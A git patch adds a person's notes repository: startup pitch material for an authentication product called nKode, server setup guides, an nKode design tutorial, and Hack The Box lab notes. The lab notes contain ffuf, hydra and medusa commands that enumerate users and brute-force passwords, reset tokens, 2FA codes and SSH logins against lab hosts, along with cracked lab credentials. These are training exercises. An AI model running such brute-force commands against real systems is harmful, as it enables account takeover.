From bf917d40af478db54d5350c1832d3283a020f245 Mon Sep 17 00:00:00 2001 From: Donovan Date: Tue, 19 Nov 2024 12:05:57 -0600 Subject: [PATCH] inital commit --- .gitignore | 2 + Eagle Venture Lab application.md | 48 ++++ Gitea Server.md | 65 ++++++ OpenVPN and CA install.md | 205 ++++++++++++++++++ email to Founder University.md | 16 ++ .../HTB SQL Injection Fundamentals.md | 21 ++ hack_the_box/htb_broken_ authentication.md | 58 +++++ hetzner_coolify_setup.md | 75 +++++++ htb_login_brute_forcing.md | 75 +++++++ nginx on vpn.md | 64 ++++++ nkode_tasks_before_marketing.md | 18 ++ nkode_tutorial.md | 184 ++++++++++++++++ 12 files changed, 831 insertions(+) create mode 100644 .gitignore create mode 100644 Eagle Venture Lab application.md create mode 100644 Gitea Server.md create mode 100644 OpenVPN and CA install.md create mode 100644 email to Founder University.md create mode 100644 hack_the_box/HTB SQL Injection Fundamentals.md create mode 100644 hack_the_box/htb_broken_ authentication.md create mode 100644 hetzner_coolify_setup.md create mode 100644 htb_login_brute_forcing.md create mode 100644 nginx on vpn.md create mode 100644 nkode_tasks_before_marketing.md create mode 100644 nkode_tutorial.md diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..5ca0973 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +.DS_Store + diff --git a/Eagle Venture Lab application.md b/Eagle Venture Lab application.md new file mode 100644 index 0000000..31dcb28 --- /dev/null +++ b/Eagle Venture Lab application.md @@ -0,0 +1,48 @@ +# Eagle Venture Lab + +## Step 1 + +### Your Elevator Pitch should summarize the problem that needs to be addressed and why your startup is the best solution to that problem. + +#### 30-Second Elevator Pitch (100 words max)* +Password authentication has two main problems. +1) People choose bad passwords. Only 1/3 of Americans use password managers. The other 2/3rds pick their own, and most people choose bad passwords. +2) People reuse their bad passwords on multiple sites. If you aren't using a password manager, you're likely reusing the same password over and over. + +nKode is a pictographic passcode where users can only choose a strong passcode, and no two people will be able to choose the same passcode. + +### One-Sentence Pitch (25 words max)* + +nKode is a pictographic passcode that is easier to remember and more secure than a password. + +### Briefly describe your revenue model for your offering (50 words max)* + +We have two revenue models. +1) B2B model: nKode is used by businesses for employee authentication. + +2) B2C model: nKode is used by individuals to login into their accounts as you would with "Sign in with Google" or "Sign in with Apple". Arcanum Technology creates services like Clerk.com or Auth0.com. + + +### Briefly describe your startup's journey to date: + +- Tell us about yourself and why you started the business +- Describe your team and how they came together, if applicable +- How have you validated your idea? +- How have you executed on your idea? +- What is your greatest need to help you get launched? + +Brooks Brown invented nKode after a credit card skimmer stole his debit card pin number. nKode prototype version was a modified keypad with numbers instead of images. +Before the pandemic, Arcanum developed nKode for banks and financial institutions. Most financial institutions we've approached over the years want to use nKode, but none want to be the first to integrate it. +I'm the most recent founder to join Arcanum. I joined because I saw a company with a patent for an incredible technology that could dominate the identity and access management space. +Since joining, I've also developed nKode Gen2 an even more secure implementation of nKode. +We've also pivoted from trying to sell nKode to finding a strategic partner. We need a large company or institution with industry trust to stand behind our technology. + +### Briefly describe your go-to-market plan, including how you will acquire customers and any applicable sales channels you plan on selling through (50 words or less) + +Our Go-to-Market plan is to find strategic partners in industry or academia with cybersecurity expertise to validate our technology. With the backing of our strategic partner, we'll reapproach the companies that expressed interest in nKode but were unwilling to try it first. + +### Briefly describe your potential exits and the profile of the mostly likely acquirer of your company (50 words or less)* + +Our exit strategy is to be acquired by a company in the identity and access management space. A company like Okta has the most to gain with a Arcanum's patent. + + diff --git a/Gitea Server.md b/Gitea Server.md new file mode 100644 index 0000000..410546f --- /dev/null +++ b/Gitea Server.md @@ -0,0 +1,65 @@ +# Gitea Server + +- ChatGPT conversation: https://chatgpt.com/share/672ece16-da60-8009-83de-9b33c08aed6a +- follow the basic ubuntu setup first + +### Install docker + +https://docs.docker.com/engine/install/ubuntu/ + + + +### Docker compose + +``` +version: "3" + +networks: + gitea: + external: false + +services: + server: + image: gitea/gitea:latest + container_name: gitea + environment: + - USER_UID=1000 + - USER_GID=1000 + - GITEA__service__DISABLE_REGISTRATION=true + - GITEA__service__ENABLE_OPENID_SIGNIN=false + - GITEA__service__ENABLE_OPENID_SIGNUP=false + restart: always + networks: + - gitea + volumes: + - ./gitea:/data + - /etc/timezone:/etc/timezone:ro + - /etc/localtime:/etc/localtime:ro + ports: + - "3000:3000" # Gitea web interface + - "2222:22" # Gitea SSH +``` + +### Run docker compose + +`docker-compose up -d` + +`docker exec -it gitea /bin/bash` +`gitea admin user create --username admin --password YourPassword --email admin@example.com --admin` + + +### SQLITE DB +to get into the database + +sqlite3 /data/gitea/gitea.db + +for users, go to the user table + +#### Delete a user + +``` +DELETE FROM user WHERE email = 'donovan.a.kelly@pm.me'; +DELETE FROM email_address WHERE email = 'donovan.a.kelly@pm.me'; +DELETE FROM external_login_user WHERE email = 'donovan.a.kelly@pm.me'; + +``` \ No newline at end of file diff --git a/OpenVPN and CA install.md b/OpenVPN and CA install.md new file mode 100644 index 0000000..5742f52 --- /dev/null +++ b/OpenVPN and CA install.md @@ -0,0 +1,205 @@ +# OpenVPN and CA install + +### sources +- https://www.digitalocean.com/community/tutorials/how-to-set-up-and-configure-an-openvpn-server-on-ubuntu-20-04 +- https://chatgpt.com/share/672b8e75-5a08-8009-9d13-f062d91bfac8 + +### Prereqs + +ubunutu 24 with ufw configured + +### Update/Upgrade +``` +sudo apt update +sudo apt upgrade -y +``` + +### Install OpenVPN and Easy-RSA + + +`sudo apt install openvpn easy-rsa -y` + +### Setup CA +``` +make-cadir ~/openvpn-ca +cd ~/openvpn-ca +``` +``` +vi vars +``` +``` +set_var EASYRSA_REQ_COUNTRY "YourCountry" +set_var EASYRSA_REQ_PROVINCE "YourProvince" +set_var EASYRSA_REQ_CITY "YourCity" +set_var EASYRSA_REQ_ORG "YourOrganization" +set_var EASYRSA_REQ_EMAIL "email@example.com" +set_var EASYRSA_REQ_OU "YourOrganizationalUnit" +``` + +``` +./easyrsa init-pki +./easyrsa build-ca +``` + +add password to ca + +### Generate Certs and Keys + +`./easyrsa gen-req server nopass` + +`./easyrsa sign-req server server` +Type yes and enter ca password + +`./easyrsa gen-dh` + +`openvpn --genkey --secret ta.key` // this is deperacated need update + +### Config OpenVPN Server + +`sudo cp pki/ca.crt pki/private/server.key pki/issued/server.crt pki/dh.pem ta.key /etc/openvpn/` + +`sudo vi /etc/openvpn/server.conf` + +``` +port 1194 +proto udp +dev tun + +ca ca.crt +cert server.crt +key server.key # This file should be kept secret +dh dh.pem +tls-auth ta.key 0 # This file should be kept secret +cipher AES-256-CBC +auth SHA256 + +server 10.8.0.0 255.255.255.0 +ifconfig-pool-persist ipp.txt + +push "route {ip.addr.ess.0 last byte is masked} 255.255.255.0" # Replace with masked ip address + +keepalive 10 120 +persist-key +persist-tun + +user nobody +group nogroup + +status openvpn-status.log +verb 3 +``` + +### Enable IP Forwarding + +`sudo vi /etc/sysctl.conf` +``` +net.ipv4.ip_forward=1 +``` + +`sudo sysctl -p` + +### Config Firewall + +`sudo vi /etc/default/ufw` + +change: `DEFAULT_FORWARD_POLICY="ACCEPT"` + +`sudo vi /etc/ufw/before.rules` + +Replace IP Address: +``` +# START OPENVPN RULES +*nat +:POSTROUTING ACCEPT [0:0] +-A POSTROUTING -s 10.8.0.0/8 -o {ADD IP ADDRESS} -j MASQUERADE +COMMIT +# END OPENVPN RULES +``` + +`sudo ufw allow 1194/udp` +`sudo ufw enable` + +### Start OpenVPN + +``` +sudo systemctl start openvpn@server +sudo systemctl enable openvpn@server +sudo systemctl status openvpn@server +``` + +### Client Config + +``` +mkdir -p ~/client-configs/keys +mkdir -p ~/client-configs/files +``` + +`vi ~/client-configs/base.conf` + +Rplace MY IP ADDRESS +``` +client +dev tun +proto udp +remote {MY IP ADDRESS} 1194 +resolv-retry infinite +nobind + +user nobody +group nogroup + +persist-key +persist-tun + +remote-cert-tls server +cipher AES-256-CBC +auth SHA256 +key-direction 1 +verb 3 +``` + +### Client Certificates and Keys + +`cd ~/openvpn-ca` + +Replace client1 with client_name +``` +./easyrsa gen-req client1 nopass +./easyrsa sign-req client client1 +``` + +`cp pki/ca.crt pki/issued/client1.crt pki/private/client1.key ta.key ~/client-configs/keys/` + +`vi ~/client-configs/make_config.sh` + +### Generate Client Keys +Replace client name +``` +#!/bin/bash + +CLIENT_NAME={client name} + +KEY_DIR=~/client-configs/keys +OUTPUT_DIR=~/client-configs/files +BASE_CONFIG=~/client-configs/base.conf + +mkdir -p $OUTPUT_DIR + +cat ${BASE_CONFIG} \ + <(echo -e '') \ + ${KEY_DIR}/ca.crt \ + <(echo -e '\n') \ + ${KEY_DIR}/${CLIENT_NAME}.crt \ + <(echo -e '\n') \ + ${KEY_DIR}/${CLIENT_NAME}.key \ + <(echo -e '\n') \ + ${KEY_DIR}/ta.key \ + <(echo -e '') \ + > ${OUTPUT_DIR}/${CLIENT_NAME}.ovpn +``` + +`chmod 700 ~/client-configs/make_config.sh` +`./client-configs/make_config.sh` + +### Distribute Client Config +{client name}.ovpn is now available in ~/client-configs/files/. diff --git a/email to Founder University.md b/email to Founder University.md new file mode 100644 index 0000000..0ebd5a7 --- /dev/null +++ b/email to Founder University.md @@ -0,0 +1,16 @@ +# Email to Founder University + +Hi Kelly and Lukas, + +Thank you for taking the time to review our application. We're so delighted to have received an acceptance from you. It means a lot to me and the team that you'd include us in your 9th cohort. + +I'm a big fan of the All In Podcast and This Week in Startups, so I leaped at the opportunity without considering whether I'd be a good fit for Founder University. After a deeper look at the program, I don't think we'd be a good fit. + +My cofounders and I have been trying to get our technology into mostly fintech companies for over five years, and there is a lot of interest in nKode. Despite this interest, companies are unwilling to do so with a technology that has yet to be widely adopted or has the backing of a trusted identity provider. + +This year, we have shifted our focus to finding a strategic partner (like Okta or Microsoft) with the credibility to back nKode as a secure authentication technology. + +Here's our ask: can we set up a meeting with you or someone on your team to help us find a strategic partner? + +Thanks, +Donovan diff --git a/hack_the_box/HTB SQL Injection Fundamentals.md b/hack_the_box/HTB SQL Injection Fundamentals.md new file mode 100644 index 0000000..06a756f --- /dev/null +++ b/hack_the_box/HTB SQL Injection Fundamentals.md @@ -0,0 +1,21 @@ +# HTB SQL Injection Fundamentals + +## intro to mysql + + +djelly@htb[/htb]$ mysql -u root -h docker.hackthebox.eu -P 3306 --skip-ssl -p + +mysql> CREATE DATABASE users; + +mysql> USE users; + +mysql> CREATE TABLE logins ( + -> id INT, + -> username VARCHAR(100), + -> password VARCHAR(100), + -> date_of_joining DATETIME + -> ); + +mysql> SHOW TABLES; + +mysql> DESCRIBE ; diff --git a/hack_the_box/htb_broken_ authentication.md b/hack_the_box/htb_broken_ authentication.md new file mode 100644 index 0000000..485bf79 --- /dev/null +++ b/hack_the_box/htb_broken_ authentication.md @@ -0,0 +1,58 @@ +# Broken Authentication + +## Enumerating Users + +ffuf -w /opt/useful/seclists/Usernames/xato-net-10-million-usernames.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user" + +94.237.59.119:54491 + +ffuf -w /opt/useful/seclists/Usernames/xato-net-10-million-usernames.txt -u http://94.237.59.119:54491/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown user" + +## Brute-Forcing Passwords + +grep '[[:upper:]]' /usr/share/wordlists/rockyou.txt | grep '[[:lower:]]' | grep '[[:digit:]]' | grep -E '.{10}' > custom_wordlist.txt + +94.237.55.98:31173 +ffuf -w ./custom_wordlist.txt -u http://94.237.55.98:31173/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=admin&password=FUZZ" -fr "Invalid username" + +## Brute-Forcing Password Reset Token + +seq -w 0 9999 > tokens.txt + +ffuf -w ./tokens.txt -u http://94.237.60.154:47607/reset_password.php?token=FUZZ -fr "The provided token is invalid" + +## Brute-Forcing 2fa codes + +ffuf -w ./tokens.txt -u http://94.237.62.147:47987/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=gnpl9fatno1bhbegjdirvk70p4" -d "otp=FUZZ" -fr "Invalid 2FA Code + +### Authentication Bypass via Parameter Modification + +seq -w 0 999 > user_ids.txt + +ffuf -w ./user_ids.txt -u http://94.237.51.81:46189/admin.php?user_id=FUZZ -fr "Could not load admin data" + + +75736572 3d 6874622d7374646e743b726f6c653d 75736572 +75736572 3d 6874622d7374646e743b726f6c653d 75736572 + +### assessemtn + +created user + +test q97hjg2khvl28mucpu7r8h6kb8 +admin q97hjg2khvl28mucpu7r8h6kb8 +root q97hjg2khvl28mucpu7r8h6kb8 + +atleast 12 characters no special, atlease 1 number, lower, and upper +0123456789aB + + + + +ffuf -w ./xato-net-10-million-usernames.txt -u http://94.237.62.166:45749/login.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -fr "Unknown username or password" + +username is gladys +password is dWinaldasD13 + +ffuf -w tokens.txt -u http://94.237.63.109:42328/2fa.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -b "PHPSESSID=f782dbv49aq0fb6o0iutruripj" -d "otp=FUZZ" -fr "Invalid OTP" +Test0123456789 \ No newline at end of file diff --git a/hetzner_coolify_setup.md b/hetzner_coolify_setup.md new file mode 100644 index 0000000..9a2b781 --- /dev/null +++ b/hetzner_coolify_setup.md @@ -0,0 +1,75 @@ +# Hetzner Coolify Setup + +## Sources + +- https://www.youtube.com/watch?v=taJlPG82Ucw&t=56s + + +## Hetzner dashboard setup +- add ssh key + +- add this to cloud init +``` cloud_init.yml +# This config was written for Ubuntu 22.04 +# If you are using a more recent version, see the comments of this gist for fixes +#cloud-config +users: + - name: dkelly + ssh_authorized_keys: + - "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKQWloxYNqNyOw6KKXsQnYPakthlq9gqf5qR1QGR1g6w donovan.a.kelly@pm.me" + sudo: ALL=(ALL:ALL) ALL + groups: sudo + shell: /bin/bash +chpasswd: + expire: true + users: + - name: dkelly + password: replacethispasswordplease + type: text +runcmd: + - sed -i '/PermitRootLogin/d' /etc/ssh/sshd_config + - echo "PermitRootLogin without-password" >> /etc/ssh/sshd_config + - sed -i '/PubkeyAuthentication/d' /etc/ssh/sshd_config + - echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config + - sed -i '/PasswordAuthentication/d' /etc/ssh/sshd_config + - echo "PasswordAuthentication no" >> /etc/ssh/sshd_config + - systemctl restart sshd + - echo "\$nrconf{kernelhints} = -1;" > /etc/needrestart/conf.d/99disable-prompt.conf + - apt update + - apt upgrade -y --allow-downgrades --allow-remove-essential --allow-change-held-packages + - reboot + ``` + +## Setup +- ssh into root +``` +apt update +apt upgrade +reboot +``` + +- Don't mess with ufw or ssh config or worry about create a sudo user. Do this at the end + + +## Install Coolify + +curl -fsSL https://cdn.coollabs.io/coolify/install.sh | bash + +## Setup +- create username and password. we'll have to change this later because it doesn't use ssl + +- select localhost + +## Lock down the server + +- ssh into dkelly user and change password +- Set the root password `passwd` +- setup ufw + +## Add DNS Records + +-add wildcard * and empty A records + +## Proxy restart + +- might need to restart the proxy for ssh keys to take effect diff --git a/htb_login_brute_forcing.md b/htb_login_brute_forcing.md new file mode 100644 index 0000000..e399ec0 --- /dev/null +++ b/htb_login_brute_forcing.md @@ -0,0 +1,75 @@ +# HTB Login Brute Forcing + +## Login Forms + + +### Hydra + +hydra basic auth +hydra -l basic-auth-user -P 2023-200_most_used_passwords.txt 127.0.0.1 http-get / -s 81 + +can use hydra to crack passcodes in the login: + +djelly@htb[/htb]$ hydra [options] target http-post-form "path:params:condition_string" + + +I can look for a fail condition like: +hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid credentials" + +Or a success conditions: + +- hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=302" # looking for a redirect + +- hydra ... http-post-form "/login:user=^USER^&pass=^PASS^:S=Dashboard" # looking for "Dashboard" + + +### Exercise + +curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/top-usernames-shortlist.txt + +curl -s -O https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/2023-200_most_used_passwords.txt + +hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt -f {Replace with ip} -s {replace with port} http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials" + + +hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt -f 83.136.251.254 -s 34996 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials" + + +## Medusa + +medusa -h 192.168.0.100 -U usernames.txt -P passwords.txt -M ssh + +medusa -h -n -u sshuser -P 2023-200_most_used_passwords.txt -M ssh -t 3 + +medusa -h 94.237.59.119 -n 39693 -u sshuser -P 2023-200_most_used_passwords.txt -M ssh -t 3 + + +## Custom Wordlists + +create likely usernames from a persons name: +git clone https://github.com/urbanadventurer/username-anarchy.git +./username-anarchy Jane Smith > jane_smith_usernames.txt + +`cupp -i` +cupp in interactive mode will create lots of passwords from a persons life. + +hydra -L usernames.txt -P jane-filtered.txt IP -s PORT -f http-post-form "/:username=^USER^&password=^PASS^:Invalid credentials" + +: +hydra -L jane_smith_usernames.txt -P jane-filtered.txt 94.237.60.154 -s 46018 -f http-post-form "/:username=^USER^&password=^PASS^:Invalid credentials" + + +## Skill assessment1 + +:56383 +hydra -L usernames.txt -P passwords.txt 94.237.50.94 http-get / -s 56383 +[56383][http-get] host: 94.237.50.94 login: admin password: Admin123 + +## Skill assess2 + +83.136.250.158:39972 +hydra -L usernames.txt -P passwords.txt -s 38376 -V 94.237.50.94 ftp + +hydra -l satwossh -P passwords.txt -s 39972 -V 83.136.250.158 ssh -t 4 + +medusa -M ssh -h 83.136.250.158 -u root -P passwords.txt -n 39972 -t 4 \ No newline at end of file diff --git a/nginx on vpn.md b/nginx on vpn.md new file mode 100644 index 0000000..8b29cd4 --- /dev/null +++ b/nginx on vpn.md @@ -0,0 +1,64 @@ +# Nginx on VPN + +Configure server with OpenVPN and CA + +### Install OpenVPN + +`sudo apt install nginx` + +### nginx config + +`sudo vi /etc/nginx/sites-av.../default` + +``` +server { + listen 10.8.0.1:443 ssl; + # server_name _; # You can omit this line or use '_' + + ssl_certificate /etc/ssl/certs/nginx-selfsigned.crt; + ssl_certificate_key /etc/ssl/private/nginx-selfsigned.key; + + # SSL settings + ssl_protocols TLSv1.2 TLSv1.3; + ssl_ciphers HIGH:!aNULL:!MD5; + ssl_prefer_server_ciphers on; + ssl_session_cache shared:SSL:10m; + ssl_session_timeout 10m; + ssl_session_tickets off; + + # Add Diffie-Hellman parameter for DHE ciphersuites + ssl_dhparam /etc/ssl/certs/dhparam.pem; + + + # Add security headers + add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always; + add_header X-Content-Type-Options nosniff; + add_header X-Frame-Options DENY; + add_header X-XSS-Protection "1; mode=block"; + + # Reverse proxy settings + location / { + proxy_pass http://:80; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + } +} +``` + +### SSL Certs + +``` +sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ + -keyout /etc/ssl/private/nginx-selfsigned.key \ + -out /etc/ssl/certs/nginx-selfsigned.crt \ + -subj "/CN=10.8.0.1" +``` + +`sudo openssl dhparam -out /etc/ssl/certs/dhparam.pem 2048` + +``` +sudo nginx -t +sudo systemctl reload nginx +``` \ No newline at end of file diff --git a/nkode_tasks_before_marketing.md b/nkode_tasks_before_marketing.md new file mode 100644 index 0000000..a1450e8 --- /dev/null +++ b/nkode_tasks_before_marketing.md @@ -0,0 +1,18 @@ +# nKode Tasks Before Marketing + + +## TODO in todoist + +- sqlite cron job backup +- fail2ban +- logging and detailed errors +- Improve UX: remove example keypad, example what do to in set and confirm, fix bg color + +## TODO not in todoist +- Written Documentation at docs.nkode.tech +- Video Documentation on Youtube +- What should the user see when they log in? + +## DONE + +- Email Verification and Forgot Password diff --git a/nkode_tutorial.md b/nkode_tutorial.md new file mode 100644 index 0000000..6a074f4 --- /dev/null +++ b/nkode_tutorial.md @@ -0,0 +1,184 @@ +# nKode Tutorial + +## nKode Keypad + +- nKode keypad contains keys +- Each key has icons +- Each icon belongs to a set and has an index value associated with it +- The position within the key is the set value +- When attributes are shuffled, they'll always remain in the same position within the key + (note: the set value can be obuscated from the client but we find it helpful to quickly find the attribute) + +## nKode Enrollment + +- user sets then confirms their nKode +- Set and Confirm are dipersion of each other and allow the server to infer the users nKode +- the users login has additional icons added to each to key to make it dispersion resistant +- After the user as selected their nKode through the set and confirms, + the server can infer the users selection since each key selection will only have one icons in common. +- The users nKode is enciphered, salted and hashed. + +## Dispersion + +- Two keypads are dispersion of each other if: +Kp1: Keypad 1 +Kp2: Keypad 2 + +for each key1 in Kp1: + for each key2 in Kp2: + iconsIntersection(key1, key2) <= 1 + + +## Dispersion Algo + +- Convert a Keypad view into a matrix view + - each row is key and each column is a set +- Fisher Yates the keys i.e. the rows in the matrix +- Fisher Yates an identity matrix equivalent to the number of keys +- The shuffled permutation is used to rotate the columns + + +## Dispersion Resistance + +- Dispersion is only possible if {number of icons per key} <= {number keys in the keypad} +- If there are more icons per key than keys, it makes it difficult to phish for a users nkode + + +## Cipher Keys + +#### attribute key + +- randomly generated array of unsigned integars +- array of length {numb of keys} * {number of attributes per key} +- xored with ss-attr to give each user a unique + +#### passcode key + +- randomly generated array of unsigned integars +- array of length {max nKode length} +- xored with final user passcode + +#### set key + +- used to recover users nkode set values +- array of unsigned integars +- each elemenet in the array is a random number XOR'ed with the set value of the users nKode +- so `for set_key_i in user_set_key` + `set_key_i = user_passcode_set_i ^ random_set_key_i` + +#### mask key + +- used to recover users nkode set values +- array of random unsigned integars + +#### server-side attributes (ss-attr) and sets (ss-set) + +- Each icon has a server side attribute. +- The icon and the ss-attr are indexed to the same place in an array. +- The dispersion and shuffle operation are applied to the index array and the index array is applied to the icon and ss-attr +- ss-attrs are randomly generated permutation of unsigned ints (or byte arrays of any length for extra security) + +### Encipher and Hash nKode Passcode +passcode = index values of the selected icons infered in set/comfirm +user_attrs = arr_xor(ss_attr, user_attr_key) +passcode_attr = [user_attrs[idx] for idx in passcode] + +ciphered_passcode = arr_xor(passcode_attr, user_passcode_key) + +// optional sha256 if ciphered_passcode is more than 72 bytes +passcode_digest = sha256(ciphered_passcode) + +hashed_passcode = bcrypt(passcode_digest) + +### Enicphering nKode Set + +nKode mask is used to recover the users nKode +1. set_key_i = (set_rand_numb_i ^ set_val_i) +2. mask_key_i = mask_rand_numb_i + +passcode = index values of the selected icons infered in set/comfirm +// recall ss_set array is an order list +set_idx = get_set_value(passcode) +user_set_keys = [set_key[idx] for idx in set_idx] +user_set_vals = [ss_sets[idx] for idx in set_idx] +mask = arr_xor(user_set_val, user_set_keys, mask_key) + +- mask_i = mask_key_i ^ padded_passcode_server_set_i ^ set_key_i +- mask_i = mask_rand_num_i ^ set_val_i ^ set_rand_numb_i ^ set_val_i +- mask_i = mask_rand_num_i ^ set_rand_numb_i # set_val_i is cancelled out + +#### nKode Validation +// set_val_i = mask_i ^ set_key_i ^ mask_key_i +// selected_keys the keys the user selects +recovered_set_vals = arr_xor(mask, set_key, mask_key) +user_keypad = get_user_keypad(username) + +presumed_password = get_pressumed_passcode(user_key, selected_keys, recovered_set_val) + +if is_valid_passcode(presumed_password, hashed_passcode) + return LOGIN_SUCCESS +else + return LOGIN_FAIL + + +## nKode Login Shuffle + +- After a successful login, the users keypad is shuffled in a two step process: + 1. the keys are randomly shuffled + 2. half the sets are randomly shuffled +- We've found this works best for xyz reason and we're also working on simulations to find a probablity curve for number of overserveration before an adversery can crack an nkode + + +## nKode Login + +- When a user request their nkode keypad, the server sends a list of svgs in the order they should be displayed +- The Gen2 demo implementation works a bit different it sends the svgs indexed in order from 0-total_numb_of_attr along with an index array for how the svgs should be ordered + - this is a legacy from the gen 1 keypad but it helps to make the implemntation more concrete so we'll use this legacy +- The frontend organized the svgs into keys and displays them. +- The user selects keys for their nkode and their key selection is sent back to the server for validation + + +## Preventing User Enumeration + +- This isn't applied in the demo application +- We can prevent a threat actor from enumerating users. + - if a valid email is entered into the login for a user that dne, we can create a ghost keypad and have it behave as if it were a real user. + - if there are too many "failed nkode attempts" we lock the non-existing user out. +- We can prevent timing attacks by either mocking the real control flow or setting a 1 or 2 sec response delay from the time the login request was recieved thereby completely elimiating timing attacks + +## Renew +Renew changes user ciphers, user salt, ss_attr, and ss_set. +This is import in the event of a partial database hack or leak. +An admin or cron job can run the renew with any frequency (daily, weekly, monthly) +Users are aware of this process. +Nothing changes for them. + +### Three Step Renew +Renew has three phases + +1. Server-Side Attribute Renewal: ss_attr and ss_set values are replaced with new values +2. Intermdiate User Renewal: every user goes through an intermediate phase before full Renewal +3. Full User Renewal: The user's first successful login completes the renewal. User has gets new salt, and cipher + +#### Server-Side Attribute Renewal + +old_ss_attr, old_ss_set = get_ss_vals() +renew_ss_vals() // new randomly generated values +new_ss_attr, new_ss_set = get_ss_vals() + +xor_ss_attr = arr_xor(old_ss_attr, new_ss_attr) +xor_ss_set = arr_xor(old_ss_set, new_ss_set) + +#### Intermdiate User Renewal + +all_users = get_all_users() +for user in all_users: + user.renew = True // This flags the server to complete phase 3, full user renewal + user.set_key = xor_lists(user.set_key, xor_ss_set) // recall user.set_key = rand_num ^ old_ss_set. this operation cancels out old_ss_set and replaces it with new_ss_set + user.attribute_key = xor_lists(user.attribute_key, xor_ss_attr) // recall user.attribute_key ^ old_ss_attr are the user's nkode ss attributes so when we + +#### Full User Renewal + +After a successful login user keys are reset as if the user was signing up for the first time + +